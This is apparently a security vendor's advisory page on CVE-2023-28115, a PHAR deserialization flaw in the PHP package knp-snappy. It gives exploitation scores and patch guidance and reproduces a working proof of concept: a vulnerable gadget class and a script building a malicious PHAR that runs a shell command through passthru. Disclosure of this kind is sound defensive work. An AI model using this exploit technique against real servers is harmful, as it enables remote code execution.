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CRITICAL severity

GHSA-gq6w-q6wh-jggc knplabs/knp-snappy

CRITICALFix: KnpLabs/snappy#469

GHSA-gq6w-q6wh-jggc is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in knplabs/knp-snappy. 1 public exploit reference exists, so weaponization risk is real. A fix is available for knplabs/knp-snappy — see the affected versions and patch details below.

PHAR deserialization allowing remote code execution

Also known asCVE-2023-28115
Published
Mar 17, 2023
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-gq6w-q6wh-jggc.

EPSS Exploitation Probability

via FIRST.org ↗
2.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs86th percentile — riskier than 86% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-gq6w-q6wh-jggc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘knplabs/knp-snappy

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Description

snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.

Proof of Concept

Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.

<?php
// index.php

// include autoloader
require __DIR__ . '/vendor/autoload.php';

// reference the snappy namespace
use Knp\Snappy\Pdf;

// vulnerable object
class VulnerableClass {
    public $fileName;
    public $callback;

    function __destruct() {
        call_user_func($this->callback, $this->fileName);
    }
}

$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');

As an attacker, we going to generate the malicious phar using this script.

<?php
// generate_phar.php

class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

// Add a new file in the archive with "text" as its content
$poc["file"] = "text";

// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);

// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Then run these command to generate the file

php --define phar.readonly=0 generate_phar.php

Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.

Impact

This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.

Occurences

https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670

References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistknplabs/knp-snappyall versions1.4.2composer require knplabs/knp-snappy:^1.4.2
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for knplabs/knp-snappy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update knplabs/knp-snappy to 1.4.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gq6w-q6wh-jggc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-gq6w-q6wh-jggc can be triaged on real exposure rather than presence alone.

Tailored to GHSA-gq6w-q6wh-jggc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Description snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the `file_exists()` function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the `generateFromHtml()` function, it will invoke deserialization. ## Proof
O3 Security · Impact-Aware SCA

Is GHSA-gq6w-q6wh-jggc in your dependencies?

O3 Security finds GHSA-gq6w-q6wh-jggc across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-gq6w-q6wh-jggc: RCE (Critical 9.8) | O3 Security